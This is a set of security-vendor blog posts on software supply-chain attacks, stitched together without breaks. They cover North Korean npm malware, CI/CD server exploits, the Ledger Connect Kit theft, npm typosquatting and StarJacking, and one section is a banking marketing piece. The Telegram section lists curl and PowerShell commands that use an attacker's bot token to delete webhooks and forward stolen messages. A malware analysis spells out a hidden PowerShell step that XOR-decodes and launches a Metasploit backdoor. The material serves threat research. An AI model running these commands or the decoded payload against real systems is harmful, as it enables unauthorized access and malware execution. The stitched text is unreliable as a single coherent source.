In December 2023, we reported on how North Korean threat actors, particularly Jade Sleet, have been compromising supply chains through the open-source ecosystem, with one of their key tactics being the exploitation of the public npm registry to distribute malicious packages. Despite the increased exposure and attention brought to this issue by our research and that of others in the field, it is evident that these attackers remain undeterred.  

Throughout the first and even second quarter of 2024, we observed the continued publication of malicious packages on NPM, bearing striking similarities to those detailed in our previous blog post. Initially, we believed these packages to be a continuation of Jade Sleet’s campaign in late spring and early summer of 2023. However, new information came to light, making it apparent that a new threat actor was emerging on the scene. 

Key Points 

• Moonstone Sleet, a newly identified North Korean threat actor, has entered the scene, targeting the open-source software supply chain with tactics similar to other well-known North Korean groups. 
• Among Moonstone Sleet’s key tactics is the distribution of malware through malicious NPM packages, which are published on the public NPM registry, exposing a wide range of developers to potential compromise. 
• The ongoing activities of Moonstone Sleet, Jade Sleet, and other North Korean state-sponsored actors underscore the constant threat to the open-source ecosystem. 

Recent Developments: 

In a recent publication, Microsoft shed light on a new rising North Korean threat actor named Moonstone Sleet, which employs various tactics, techniques, and procedures (TTPs) to target companies for financial gain and cyberespionage. With much of These TTPs utilized by Moonstone Sleet closely resemble those employed by other North Korean threat actors 

A number of IOCs shared in Microsoft’s blog closely resemble those mentioned in our December blog post and recent publications by Phylum. showing that, in addition to delivering malicious npm packages through freelancing websites and platforms like LinkedIn, Moonstone Sleet has also been attempting to spread their malicious packages through the public npm registry. 

This tactic allows them to potentially reach a wider audience and increases the likelihood of their malicious packages being installed by unsuspecting developers. 

Differences in Code Style and Structure 

The malicious npm packages discovered during the apring and early summer of 2023, affiliated with Jade Sleet, and those found in late 2023 to early 2024, containing IOCs linking them to the Moonstone Sleet group, exhibit distinct code style and structure differences. These differences offer interesting insights into the varying strategies used by different groups when targeting the open-source software supply chain. 

Packages attributed to Jade Sleet 

Jade Sleet’s packages, discovered throughout summer 2023, were designed to work in pairs, with each pair being published by a separate npm user account to distribute their malicious functionality. This approach was used in an attempt to make it more challenging to detect and trace the malicious activity back to a single source. 

The first package in the pair was responsible for creating a directory on the victim’s machine, fetching updates from a remote server, and saving them in a file within the newly created directory. This package laid the groundwork for the second package to execute its malicious payload. 

Code of the first package in the pair 

The second package, upon execution, would read a token from the file created by the first package. It would then make a request to a specific URL, passing the token as a parameter. The response from this request, likely containing additional malicious code, would be written to another file on the victim’s machine. Finally, the second package would immediately execute this newly written file as a Node.js script, unleashing the full extent of the malicious functionality. 

Code of second package in pair 

Packages attributed to Moonstone Sleet 

In contrast, the packages published throughout late 2023 and early 2024 adopted a more streamlined single-package approach which would execute its payload immediately upon installation. 

The malicious payload was encoded within string constants and included OS-specific code, executing only if it detected that it was running on a Windows machine. 

Packages published in the last quarter of 2023 and the first quarter of 2024 shared significant similarities, with only minor variations in file names, URLs, and decryption keys. 

Despite these minor changes, the malicious payload’s overall structure and functionality remain largely the same, indicating that the attackers are relying on a proven technique while making small modifications to evade detection: 

Malicious Payload Execution: 

The malicious payload downloads a file from a remote server, decrypts it using a byte-wise XOR operation, renames the decrypted file, and executes it using rundll32. It then cleans up by deleting the temporary files and replacing the malicious package.json with a clean version. 

Overall structure of malicious code 

Changes in the Attack Flow in Second Quarter of 2024 

In the second quarter of 2024, the packages increased in complexity, with the attackers adding obfuscation and having it target Linux systems as well. The following code would be executed if the OS was detected as Linux: 

For a more detailed explanation of how the various packages operate, you can refer to our past publications. 

Blog post describing Jade Sleet – attributed packages. 

Blog post describing the Moonstone Sleet – attributed packages 

Conclusion 

The frequent publication of malicious packages on npm by North Korean threat actors underscores the persistent nature of their campaign. By continually adapting their tactics and techniques, they aim to evade detection and enhance their odds of breaching targeted systems. 

With the revelation of this new North Korean group, coupled with the recent attacks by Russian and North Korean threat actors and the recent high-profile XZ attack, it has become increasingly apparent that the open-source ecosystem has become a prime target for powerful and sophisticated adversaries. And while the open-source community plays a crucial role in maintaining the security and integrity of the ecosystem, the primary responsibility for ensuring the safety of the software supply chain lies with the companies that consume these packages.  

As the fight against malicious actors in the open-source ecosystem persists, collaboration and information sharing among the security community will be critical in identifying and thwarting these attacks. Through collective effort and proactive measures, we can work towards a safer and more secure open-source ecosystem for all. 

The significance of this vulnerability

Exploiting this widespread vulnerability can do more than just initial access gleaned by exploiting the Jenkins CVE, it can also put the software consumers of this company affected, at immediate risk. 

Software developers use Build servers’ software to manage and automate software compilation, building, testing, and releasing. If compromised, access to a build server would provide malicious actors with access to that software developer’s source code, signing certificates, and the ability to subvert software compilation and deployment processes—access a malicious actor could further use to conduct supply chain operations.

The attraction of software supply chain attacks for attackers lies in their high reward potential and the extensive reach these attacks can have. By infiltrating a single, often well-trusted component of the software supply chain, attackers can gain access to a broad network of systems and data, making these attacks increasingly favored due to their far-reaching and often catastrophic ripple effects.
 

The growing trend of attacks on Continuous Integration/Continuous Deployment (CI/CD) software supply chains

This attack comes after a highly publicized attack on another CI/CD server TeamCity software https://nvd.nist.gov/vuln/detail/cve-2023-42793 this attack was attributed by CISA to Russian Foreign Intelligence Service (SVR) https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a and also to multiple North Korean threat actors   https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/. We believe that this public vulnerability will also be used by Nation-state actors to strengthen their control on sensitive software supply chain. 

Beyond traditional security measures

In the wake of sophisticated cyber-attacks like those attack, the limitations of traditional security tools such as antivirus software and intrusion detection systems become apparent. These tools, foundational for baseline security, are tailored to address known threats and vulnerabilities. However, their capacity to handle advanced cyber-attacks targeting software distribution mechanisms is limited. Such attacks often bypass perimeter defenses and exploit subtleties in software delivery systems, highlighting gaps in conventional security measures.

The shortcomings of traditional approaches are further exemplified by tools like the Software Bill of Materials (SBOM). Although an SBOM is invaluable for transparency and tracking component vulnerabilities, it falls short in safeguarding against manipulations within the distribution process itself. This gap highlights the need for a more comprehensive approach to cybersecurity.

Responding to these evolving threats necessitates a multifaceted security strategy. This involves complementing traditional measures with advanced and dynamic approaches. Implementing comprehensive vulnerability management, real-time threat detection systems, and continuous monitoring within the software development and deployment pipelines can provide a more robust defense.

A call to action for AppSec managers

Considering these growing threats, the role of Application Security (AppSec) Managers becomes more crucial than ever. The recent incidents involving Jenkins and TeamCity serve as stark reminders of the vulnerabilities inherent in the software supply chain. To combat this, AppSec Managers must ensure that their Software Supply Chain Security Solutions are not just robust but also backed by leading-edge research teams. It’s not enough to have strong defenses; staying ahead of the curve in terms of threat intelligence and technological advancements is key to safeguarding against such sophisticated attacks.

In conclusion, the cybersecurity community must view the incidents with Jenkins and TeamCity as a clarion call. The increasing frequency and sophistication of attacks on CI/CD platforms demand a proactive and comprehensive approach to security. It’s a complex challenge, but with the right strategies and tools, organizations can protect themselves and their customers from these looming threats. As the digital world continues to evolve, so must our defenses against the ever-changing landscape of cyber threats.

• Attackers often utilize Telegram bots to extract victims’ data.
• Monitoring an attacker’s communication can provide valuable information.
• It is possible to forward messages from an attacker’s bot to your own Telegram account.

It is not uncommon for attackers to publish malicious packages that exfiltrate victims’ data to them using Telegram bots. However, what if we could eavesdrop on what the attacker sees? This blog will demonstrate exactly that.

Infiltrating The Attacker’s Telegram Bot – Step by Step

In this example, we have a malicious package containing obfuscated info stealer malware. From this package, we were able to extract the Telegram bot details used by the attacker.

For this demonstration, there are two important parts of the link that we need: the attacker’s bot token and the attacker’s chat ID.

The first step is to use the initial part of the link with the bot token in the following command:

Format: curl “https://api.telegram.org/bot{bot-token}/getMe”[YG1] 

This command will confirm if the bot is active and provide important details, such as the bot’s username, which in this case is “trakinho_bot” which we can then use to search for the bot on Telegram.

The next step is to input the same command in the CLI, but this time with /getUpdates at the end. This step is crucial, as it will provide us with two important pieces of information:

1. One is our own chat ID.
2. The second is the message ID. This number represents the number of messages the bot has ever received and increments each time this bot receives a new message. We will need this for our next command.

This next step is not necessary, but it can serve as a good way to test if we can forward past messages to this bot. To do so, we will use the following command with the specified variables:

• attacker_bot_token ⇒ The attacker’s bot token we found in the first step (in this case: 6414966437:AAHtThsoeAj36fZY4941ZVfnzRpMQXVXz_Y)
  
• attacker_chat_id ⇒ The attacker’s chat ID which we found in the first step (in this case: 6200912483)
  
• my_chat_id ⇒ My chat ID, which we found in the previous step (in this case: 6348918997)
  
• message_id ⇒ The message ID we found in the previous step (in this case: 2170)

curl -Uri “https://api.telegram.org/bot{attacker_bot_token}/forwardMessage” -Method POST -ContentType “application/json” -Body ‘{“from_chat_id”:”{attacker_chat_id}”, “chat_id”:”{my_chat_id}”, “message_id”:”{message_id}”}’[YG2] 

When running this command, we may encounter an error indicating that the message cannot be found, but no worries. In such cases, we may just need to try different, lower-numbered message IDs to find one that works.

Once a message ID that works is found, we will be able to see the forwarded message in our telegram account.

Finally, to loop through all the messages the bot has received and forward them to us, we use the following command:

1..2170 | ForEach-Object { Invoke-WebRequest -Uri “https://api.telegram.org/bot{attacker_Bot_Token}/forwardMessage” -Method POST -ContentType “application/json” -Body (‘{“from_chat_id”:”{attacker_chat_id}”, “chat_id”:”{my_chat_id}”, “message_id”:’ + $_ + ‘}’) }[YG3] 

The command will iterate through all the messages, from message ID 1 to, in our case, 2170, and forward them to the telegram bot, and once executed, we will see now all the messages the bot has ever received being forwarded to our Telegram account.

Disrupting Attack’s Telegram Bots Using Webhooks

In some cases, attackers utilize webhooks to redirect messages from Telegram, making it difficult for us to monitor their Telegram messages.

As shown in the image below, the attacker is forwarding the messages of their bot to the following address: “hxxps[:]//a7d8a278870ff9da6427af6d9dfaa3d9.m.pipedream[.]net”

In this case, we have a couple of options available:

1. We can use the “setWebhook” command to redirect the messages to our own webhook. The issue with this approach is that although we will receive updates of new messages from that point onwards, we cannot access all the past messages the bot has received retroactively.

curl -F “{your-webhook}” https://api.telegram.org/bot{telegram_bot_token}/setWebhook

• This is where our second option comes in. We could simply delete the webhook using the “deleteWebhook” command. By doing this, we can continue the regular workflow of using the “getUpdates” command to receive the message ID. Then, we can implement the appropriate command to iterate through all the messages and forward them to the Telegram bot in our Telegram account.

Impat

By employing the tactics mentioned above, we successfully intercepted attackers’ Telegram bots from dozens of malicious packages. As a result, we were able to identify details of over 2000 unique machines. In many instances, we even discovered files containing exfiltrated sensitive data that had been exfiltrated from these machines and were still accessible. This showcases the significant success achieved by the attackers through their utilization of Telegram bots within malicious packages.

Conclusion

In this blog, we have thoroughly examined a technique for infiltrating attackers’ Telegram bots as a means of gaining valuable insights into their activities. By leveraging access to an attacker’s Telegram bot API and employing a set of straightforward commands, we were able to establish a seamless mechanism for forwarding all messages from the attacker’s bot directly to our own Telegram account.

It is important to note that the primary objective of this blog is to serve as an educational resource, offering valuable insights into the workings of attackers’ Telegram bots and shedding light on the methodologies employed in their infiltration.

Introduction

Targeting the open-source space in the software industry is trending among threat actors, not only because it represents one of the largest attack surfaces, but because it often escapes the vigilant eyes of organizations.

Open-source package managers are especially enticing to Advanced Persistent Threats (APTs) and other malicious entities who often poison them with malicious packages and implement strategies ranging from manipulating build automation processes to skillfully deceiving developers into installing these compromised packages. 

The ramifications of such breaches are far-reaching and can have devastating consequences for any organization, regardless of its size. Therefore, it is essential to thoroughly vet every component or dependency in the supply chain

Our research team recognizes the seriousness of these threats. To safeguard the open-source software ecosystem, we monitor popular public repositories like NPM and PyPi, just to name a few, to identify and eliminate any rogue packages or dependencies at the earliest stage.

This story, however, takes an unexpected twist. when one of our researchers, while analyzing a malicious Python package named “testfiwldsd21233s” from the PyPi repository, found themselves in the crosshairs of the very threat actor they were investigating. What unfolded was not just an analysis of a cybersecurity breach, but a gripping tale of how the hunter became the hunted.

But before we delve deep into the analysis of this incident, let’s take a step back to understand the background of the malicious package the researcher had been analyzing.

Behavioral Analysis of Malicious Packagea

In its entirety, the package is capable of targeting both Windows and Linux-based systems. If it detects that it is on a Windows NT host, it deploys a malicious executable. On the other hand, if it is on a Linux-based host, it leverages native Python code. In essence, it functioned as a data-stealing malware, systematically gathering sensitive information from web browsers, including but not limited to cookies and saved passwords, and saved this data into temporary files, which were then uploaded to transfer[.]sh. Finally, it would exfiltrate the host information along with a unique URL to download the stolen data from transfer[.]sh using a hardcoded Telegram bot API URL. Additionally, it would create a scheduled task on the system to maintain persistence.

Driven by curiosity, the researcher wanted to examine the exfiltrated data and analyze it. The objective was to assess the scope of the malware’s impact, identify and locate potential victims, and explore the possibility of tracing the threat actor behind it.

A Game of Cyber Cat & Mouse: The Researcher’s Countermove

By utilizing a technique that enables the forwarding of all exfiltrated data through the Telegram bot API to the researcher’s personal Telegram chat, the researcher effectively managed to redirect all the stolen data from the threat actor’s chat to their own chat.

Forwarding of  data from the threat actor’s Telegram chat to the researcher’s own chat

The data forwarded by the bot included various host information, geo-location, and the link to download an encrypted file with a “.wsr” extension, which includes all the stolen cookies and passwords. Unfortunately, the files could not be decrypted for further analysis, and this is where we stopped our investigation.

The Attacker Attempts To Strike Back

However, after approximately a month, the researcher received a new notification about a new stolen record in the chat from the same Telegram bot.

This raised suspicion because, unlike previous data, there was no “forwarded” tag attached to the new chat. And instead of an encrypted file with a “.wsr” extension, there was an unencrypted zip archive.

Suspicious message received in telegram chat

Upon downloading and decompressing the zip archive attached to the chat for further analysis, the following observations were made:

the unarchived data contained multiple files with the “.lnk” extension, which in all the cases except for one, were also preceded by a second extension in the filename, which was “.txt”.

The presence of these double extensions raised suspicion, particularly the “.lnk” extension, as LNK files are known to be shortcut files in the Windows OS that can potentially execute malicious code if clicked.

The list of files with the “.lnk” extension, preceded by the txt extension

Peeling Back Layers: Exposing a Backdoor Operation

Upon analyzing these shortcut files using the “exiftool” command on a Linux machine, we discovered several important details.

First, the “Icon File Name” property was set to the path “%windir%system32notepad.exe”, which caused the shortcut files to display the notepad icon. The use of the “.txt” extension in the filename now makes sense since MS Windows does not show the actual file extension in the explorer, and combined with the custom icon set for these subjected files, they appear like normal – benign text files.

The second thing we learned was that the “Command Line Arguments” property was set to the following powershell command:

Another thing to note is that all the shortcut files in the unarchived data except for the “Screen,jpg.lnk” had the exact same SHA-256 hash. they are, therefore, all the same malicious files. If any one of these files is opened, then the above malicious PowerShell command defined in the “Command Line Arguments” property will be executed.

Here is a breakdown of the PowerShell command and its execution:

• “/c powershell -windowstyle hidden”: The complete command will be executed in a hidden window and will not be visible to the victim.
  
• “$lnkpath = Get-ChildItem .lnk ^| where-object {$_.length -eq 0x00117926} ^| Select-Object -ExpandProperty Name;”: Searches for a shortcut file (.lnk) in the current directory with a file size of 0x00117926 (in hex), this will result in any of the malicious shortcut files except for “Screen,jpg.lnk”, as they satisfy the file size criteria.

• “$file = gc $lnkpath -Encoding Byte”: The content of the file matching the criteria is then read and saved in the form of a byte array in the variable – “$file”.

• “for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x33 };”: Iterating over each byte stored in the byte array – “$file”, a bitwise XOR operation with the value 0x33 on each byte of the byte array.

• “$path = ‘%temp%tmp’ + (Get-Random) + ‘.exe’;”: Creates a new executable file in the temporary directory with a random name and “.exe” as its extension by skipping the first “2838” bytes of the previously modified byte array.

• “sc $path ([byte []] ($file ^| select -Skip 002838)) -Encoding Byte;”: Writes the XOR-ed byte array after skipping the first “2838” bytes, to the new “.exe” file.

• ^& $path;”: Finally, runs the newly created executable.

We then used a simple Python script as shown in the photo below, to extract the malicious executable from the “LNK” file. Additionally, the “file” command confirms that the extracted file is a 64-bit PE file for MS Windows, written in .NET framework, with the SHA-256 hash of “4cf48c2a3933ac4c6733533bf16d40fa4e411fbbf42b03d84d6c8df62e253ad0”.

When it comes to the malicious executable, one option is to statically analyze it by decompiling it using a .NET Decompiler like ILSpy or dnSpy. However, in this particular case, we opted for dynamic analysis as it proved to be more efficient. Through this analysis, we made the following observations:

This malicious executable has been identified as a backdoor created using the Metasploit framework. It communicates with a handler at the IP address “128[.]199[.]113[.]162”. The complete URL that the backdoor uses, accepting both GET and POST requests, is “hxxp[://]128[.]199[.]113[.]162/upwawsfrg[.]php”. This endpoint can be used for exfiltrating data as well as fetching other payloads for post-exploitation purposes.

Furthermore, the processes invoked by the executable indicate that it also utilizes the Windows task scheduler to create a scheduled task on the compromised host. This task executes the executable itself every 5 minutes, serving as a persistence mechanism that allows the threat actor to maintain consistent remote access even after reboots.

Conclusion

From the above incident, it is clear that it was a carefully crafted attack, tailored with meticulous attention to detail. The threat actor behind this attack demonstrated a clear understanding of the context and situation. The use of fake Exil data was an impressive tactic, as it could have deceived the researcher into making a misstep resulting in a complete compromise.

In light of this, individuals working in the cybersecurity industry need to be more vigilant. Attacks are becoming increasingly sophisticated day by day, and they are not limited to the average internet surfer.

As part of the Checkmarx Supply Chain Security solution, our research team continuously monitors suspicious activities in the open-source software ecosystem. We track and flag “signals” that may indicate foul play and promptly alert our customers to help protect them.

IOC

• hxxps[://]api[.]telegram[.]org/bot6021370805:AAFbCSlFairNgnxSj8mC6Wtf7PW5yGyWmcE
• 128[.]199[.]113[.]162
• hxxp[://]128[.]199[.]113[.]162/upwawsfrg[.]php
• SHA-256 hash of LNK files – 273a75ba90251e317ed6291e6d4e31f80ce006e81bdc6582a4988078dc5610ef
• SHA256 hash of malicious executable – “4cf48c2a3933ac4c6733533bf16d40fa4e411fbbf42b03d84d6c8df62e253ad0”

Key Findings

• NPM Account Takeover: Ledger Connect-Kit was compromised due to npmjs account takeover of a former Ledger employee.
• Affected Versions: Malicious code was injected into versions 1.1.5, 1.1.6, and 1.1.7, resulting in wallet-draining attacks.
• Impact: At this time, over $700,000 has been stolen as a result of this security breach.
• Rapid Mitigation: Ledger swiftly released version 1.1.8 to patch the vulnerability.

Attack Details

The Ledger Connect Kit, instrumental in linking users’ wallets to decentralized applications (dApps), like SushiSwap and Revoke.cash, was compromised when a threat actor took over the NPM account of one of the projects maintainers. The actor then continued to publish multiple new versions of the package, injected with malicious code, that drains the wallets of users. Unsuspecting users that performed transactions unknowingly sent their crypto funds to an attacker-controlled wallet.

The breach targeted versions 1.1.5, 1.1.6, and 1.1.7 of the Ledger Connect Kit NPM Package. These versions were infected with a malicious drainer, that diverted user funds to an attacker-controlled wallet. The compromised package used a rogue WalletConnect project to reroute funds.

Notifying users of the attack

Notifying users of the attack

Apps affected, warning their users

Tactic Used: Account Takeover

Central to this attack was a well-crafted social engineering strategy that led to the compromise of a former Ledger employee’s npmjs account credentials. This breach then led to unauthorized releases of the Ledger Connect Kit. Account takeovers are particularly dangerous since they allow attackers to bypass many traditional security checks, directly inserting malicious code into trusted software. Phishing attacks against contributors have been a rising trend for more than a year.

A critical, and often overlooked, indicator of such an attack is the discrepancy in package versions between the package manager (npm) and the version control system (Git). We can clearly see in this attack that there were no changes and no tags or releases on the Ledger git corresponding to the malicious versions on the NPM package manager.

When a project works efficiently it maintains consistency between these platforms, with each npm release corresponding to a Git tag. This is either done automatically or manually. However, in this case, the versions released on npm lacked matching tags on Git. This mismatch serves as an indicator of suspicious activity, particularly for projects known for their orderly release processes as seen in previous attack cases.

Monitoring for such inconsistencies can be a crucial part of early detection strategies for account takeovers and unauthorized package releases. Tools and practices that keep track of this alignment can quickly flag discrepancies, prompting an immediate investigation and potentially preventing widespread impact.

Rapid Response and Remediation

Upon discovering the breach, Ledger’s team acted swiftly, releasing version 1.1.8 of the Ledger Connect Kit to patch the vulnerability within 40 minutes of detection. Despite their quick response, the malicious versions were active for approximately five hours, with a critical window of less than two hours where funds were actively drained.

Impact

The financial repercussions are becoming increasingly apparent. As of the latest reports, over $700,000 has been stolen due to this security breach.

But I use SBOMs, so I’m good – right?

While a Software Bill of Materials (SBOM) is a critical tool for enhancing transparency and security in software supply chains, its effectiveness is limited in certain types of attacks. An SBOM effectively lists all components used in a software product, but it primarily addresses issues related to known vulnerabilities in these components, not necessarily the security of the distribution mechanism itself.

In the case of the Ledger Connect Kit attack, the primary issue was not with the components themselves but with the compromised distribution process due to an account takeover. The attacker published malicious versions of the package through a legitimate channel, which would not necessarily be flagged by an SBOM. Since the SBOM would list components as usual, it wouldn’t identify the malicious code introduced by the attacker in the compromised versions.

So, while SBOMs are vital for component transparency, they must be complemented with fast, proactive scanning mechanisms that can detect unauthorized changes or malicious activities in real-time, beyond just component listing.

Conclusion

This breach highlights the potential domino effect of a single compromised element in interconnected digital platforms. The reliance on third-party components, adds layers of vulnerability, making every participant in the chain a potential target and contributor to a larger-scale compromise. Therefore, it is crucial to ensure that effective security strategies are in place which involves things like rigorous vetting of third-party components, implementing robust internal security measures, and fostering a culture of cybersecurity awareness.

As part of the Checkmarx Supply Chain Security solution, our research team continuously monitors suspicious activities in the open-source software ecosystem. We track and flag “signals” that may indicate foul play and promptly alert our customers to help protect them. 

Checkmarx customers are protected against this attack.

Learn how Checkmarx and AWS have partnered to help your financial services firm adapt to the evolving landscape

The way we bank has changed beyond recognition. Where transactions once took place in person within the walls of impressive buildings, we now see mobile and online banking on the rise. Anywhere, anytime, palm-of-your-hand banking is the norm, and our expectations are shaped by the seamless, personalized app experiences that have become the default in the digital universe. At the same time, the global acceleration of digital banking licenses has created a new competitive landscape populated by fast-moving market entrants and born-in-the-cloud providers.

One thing that hasn’t changed, though, is the position of trust at the cornerstone of the banking system. Indeed, in today’s volatile economic and cybersecurity environment, building brand trust is more important than ever. Whether you are a legacy brand or a new market entrant, any lack of trust compromises your ability to succeed.

So financial services firms face a continuing challenge: how to innovate at the speed required without compromising customer safety and system security? Most are turning to the cloud for answers. Its flexibility and scalability are making it central to financial service organizations’ efforts to embrace new trends and deliver innovative services at pace.

AWS has some intriguing solutions to meet the challenge. The cloud leader provides a full suite of services to help banks achieve the agility to thrive in the digital age, while certified partners such as Checkmarx ensure the security of the applications and services banks develop.

Recently, the team at AWS identified seven key trends that are impacting the financial services industry. Here we take a deep dive into three areas where AppSec is highly relevant and explore what they mean for the sector.

Trend 1: Customer experience — speed and security must be dual priorities

Today, the economic power is passing to a digital-native generation with little loyalty to legacy banking brands and great expectations of how personal and business financial services should perform. This means customer experience is the modern commercial battleground. Banking must be hyper-personalized and service-led. Increasingly, banking is integrated into consumers’ day-to-day journeys through embedded financial services within trusted brands such as Starbucks and Uber.

Banks are leaning heavily on AI and machine learning to predict customer needs through analysis of internal and external datasets, while the omnichannel drive continues through solutions such as authentication based on voice recognition, real-time sentiment analysis of customer service calls, chatbot support, and automated self-service options.

AWS supports these initiatives and many more through cloud-powered big data analysis that allows banks to leverage AI and machine learning on a massive scale. It also, in its own words, “helps compress time to innovation and, ultimately, time to value, by facilitating rapid development, testing, and deployment to produce new ideas and customer propositions.”  

AWS allows banks to accelerate innovation through its cloud-native application development services, but they also need to ensure the code they create is secure and resilient. Achieving application security assurance without putting a brake on delivery speed is crucial. However, a recent Checkmarx survey of banking and insurance CISOs found that 84% of respondents undergoing digital transformation and implementing a cloud-native strategy were concerned about secure application development and deployment.

As an AWS accredited partner, Checkmarx understands that security must work at the speed of DevOps. The Checkmarx One Application Security Platform is designed for the cloud development generation and delivered from the cloud, bringing integrated one-click AppSec testing that allows financial services companies to deploy more secure code — fast.

Trend 2: Ecosystem-based banking and banking-as-a-service — APIs take center stage

The open banking era is unlocking the doors to greater innovation and collaboration. Providers can now seize new opportunities to develop products that blur the boundaries between different types of financial services. They are establishing solutions that offer their banking services, including fully managed banking propositions, to third parties securely via microservices and a common platform.

AWS identifies two key approaches to this trend. The “marketplace” approach sees banks providing “value-added and contextualized services to their customers such as ERP integrations or personal finance management.” The aim is to deepen the relationship with individual and business customers beyond basic service provision.

The “banking-as-a-service” approach sees banks offering a range of services — from standalone specific regulatory-driven services like Know Your Customer’s Customer (KYCC) to fully managed offerings that let any organization set up a branded banking service.

Center-stage in both approaches are the bank’s APIs, designed to allow banking products and services to be distributed to customers and third parties. Modernizing API architecture in the cloud accelerates the development and testing of APIs, making them easier to integrate as well as providing scalability.

Checkmarx API security offers banks and their customers and partners a crucial service that helps discover, control, and mitigate API security risk. It offers complete visibility into your API inventory and identifies vulnerabilities and misconfigurations. Controlling API risk is an essential component of developing financial marketplace ecosystems and banking-as-a-service solutions.

Trend 3: Cyber event recovery — reducing the attack surface and responding to regulatory requirements

Given its nature, it is not surprising that the financial services sector faces more cyberattacks than any other. On top of these external incursions comes the disruption of digital transformation, which can also create vulnerabilities including third-party and supply chain risk.

Banks are investing in a range of measures designed to manage and mitigate risk and accelerate recovery from any attack. Reducing the attack surface and minimizing vulnerabilities is an essential activity if the sector is to safeguard its reputation and maintain customer trust. Additionally, the growing library of regulations designed to ensure banks are meeting their security obligations means they need to adopt solutions that support compliance.

AWS offers a wealth of solutions to ensure client data is protected and banks can recover quickly from attacks. These include Amazon Simple Storage Service (Amazon S3), key management services, software-defined firewalls that facilitate network isolation, and geographic sovereignty solutions that meet compliance requirements.

These and many other offerings take care of Amazon’s part of the shared security bargain, however, banks are also responsible for securing the workloads they deploy in AWS. This is where Checkmarx steps in, providing comprehensive AppSec solutions that integrate seamlessly with AWS SDLC tools to secure the entire process. Checkmarx addresses all types of application risk, from custom code errors to open source component vulnerabilities, API risks, and infrastructure as code misconfigurations.

These are dynamic times for financial services firms, and AWS with Checkmarx are helping them capitalize on opportunities while defending against threats — both malicious and competitive.

Interested in learning more?

We’re exploring these trends in detail in our webinar on May 4, 2023, where AWS and Checkmarx will explain how you can turn AppSec into a competitive advantage as you continue your cloud transformation journey.

REGISTER FOR THE WEBINAR

Stay Ahead of Supply Chain Attacks: Secure Your Banking Sector Software

Intro 

In the evolving world of cybersecurity, attackers are always looking for new ways to exploit weaknesses and compromise systems. Attackers have been using lowercase letters in package names on the Node Package Manager (NPM) registry for potential malicious package impersonation. This deceptive tactic presents a dangerous twist on a well-known attack method — “Typosquatting.” In this blog post, we will explore the origins of this issue, the risks it poses, and the steps that were taken to address it while also examining its relationship to Typosquatting. 

A Brief History of Package Naming in NPM 

Prior to 2017 NPM package creators were allowed to use both upper and lowercase letters in their package names. However, in 2017, NPM changed its policy, and new packages could only be created with lowercase letters. Despite this change, existing packages with mixed-case names were allowed to remain on the registry and are still in use to this day. In fact, there are thousands of mixed-case packages still available, collectively accounting for tens of millions of downloads. 

The Impersonation Threat 

Bad actors can easily exploit this situation by uploading packages with names that closely resemble legitimate packages, simply by using lowercase letters to mimic uppercase letters in the original package names. This tactic is intended to trick users into downloading, and installing, the malicious package instead of the intended legitimate one. 

For instance, consider these two packages: 

Legitimate package 

Removed for security reasons 

The only difference between the two package names is the capitalization of the “S” and “D” in “memoryStorageDriver.” Malicious users hope that unsuspecting users will unintentionally install the wrong package, due to the close resemblance in their names. 

A stealthier approach to Typosquatting: 

This malicious package impersonation takes the traditional “Typosquatting,” attack method to a new level, where attackers register package names that consist of the exact same letters as the legitimate ones, with the only difference being capitalization. This makes it even harder for users to detect the deception since it can be easy to overlook the subtle differences in capitalization. 

The Scope of the Problem: 

3,815 packages were found on NPM containing uppercase letters. Out of these, 1,900 packages were at risk of impersonation, meaning that someone could upload a package with the same name but with all lowercase letters. Some of the at-risk packages were quite popular, such as “objectFitPolyfill,” which has hundreds of thousands of weekly downloads. In total, the download count of the packages at risk is in the tens of millions. 

Popular vulnerable package on NPM (capital letters used in the package name) 

Package name “objectFitPolyfill” in all lowercase letters available for anyone to use in a new package 

How do other Package Managers compare with NPM? 

To better understand the malicious package impersonation issue in NPM, let’s compare how other popular package managers, such as PyPI and NuGet, handle this issue.  

Both PyPI and NuGet adopt more robust strategies for dealing with package names containing uppercase and lowercase letters. For example, let’s take a package named “ExamplePackage” published on PyPI or NuGet. Unlike NPM, these package managers allow package creators to upload packages with names containing both upper and lowercase letters. Once “ExamplePackage” is published, PyPI and NuGet will restrict anyone else from uploading a package with the same name, regardless of the capitalization of letters. This means that a package named “examplepackage” or “Examplepackage” cannot be uploaded by someone else, preventing bad actors from exploiting package name variations. 

In addition, PyPi and NuGet have implemented an automatic typo-correction mechanism to assist users who accidentally type package names with incorrect capitalization. By employing these measures, PyPI and NuGet significantly reduce the chances of users falling victim to deceptive tactics. This approach provides a more secure environment for package distribution and installation. 

Addressing the Issue 

The issue was brought to the attention of the NPM security team, who promptly acknowledged and effectively addressed the concern. Now, if anyone attempts to upload packages that use all lowercase letters to imitate existing uppercase letters, they will be met with an error message that reads, “Package name too similar to existing package.” 

Package health checks: Users can check package health prior to installation. For example, Overlay Browser Extension can alert you if a package has known security issues or vulnerabilities, based on the latest advisories from trusted sources. By using tools like this, you can ensure that the package you are installing is secure and reliable. 

Raising awareness: We are dedicated to spreading awareness about attacks such as these and their potential impacts. By sharing our findings with the community, we aim to educate users and developers about the risks involved and the precautions they can take. 

Conclusion 

It is important to emphasize how easy it is to fall for this type of attack. It’s as simple and subtle as a change in capitalization. This vulnerability highlights the importance of staying vigilant and being aware of evolving tactics employed by bad actors. By understanding the risks, users can take appropriate precautions. The matter was reported to the NPM security team, who quickly recognized and efficiently resolved the issue. 

Intro

Open source packages are an extremely important part of today’s software development world. The choice of which package to use in your project depends, in part, on its popularity, which is commonly thought of as an indicator of the package’s quality and maintenance level. That is precisely the reason why deceiving developers to think a certain package is much more popular than it really is, can have a major impact on the distribution of malicious code.

One of the leading measures to the code’s popularity is its GitHub statistics, notably GitHub Stars. Package managers often display the GitHub statistics on the package’s web page to make things easy for these developers. As it turns out, the statistics displayed by the package managers do not go through any validation process. It can easily be falsified to mislead developers because of how this information is acquired.

This situation enables StarJacking – a technique for making a package look more popular than it really is by taking advantage of the non-existing validation of the relation between the package and the GitHub repository.

Use Cases – Open Source Packages Websites

To demonstrate the potential scope of this attack technique, we looked at three popular open source package websites: PyPi, NPM, and Yarn.

The process of publishing a package to PyPi and NPM/Yarn allows the publisher to link a GitHub repository to the package. Then, each package manager pulls the repository statistics and presents them on the package’s web page. The problem is that there is no validation of the connection between the package and the repository.

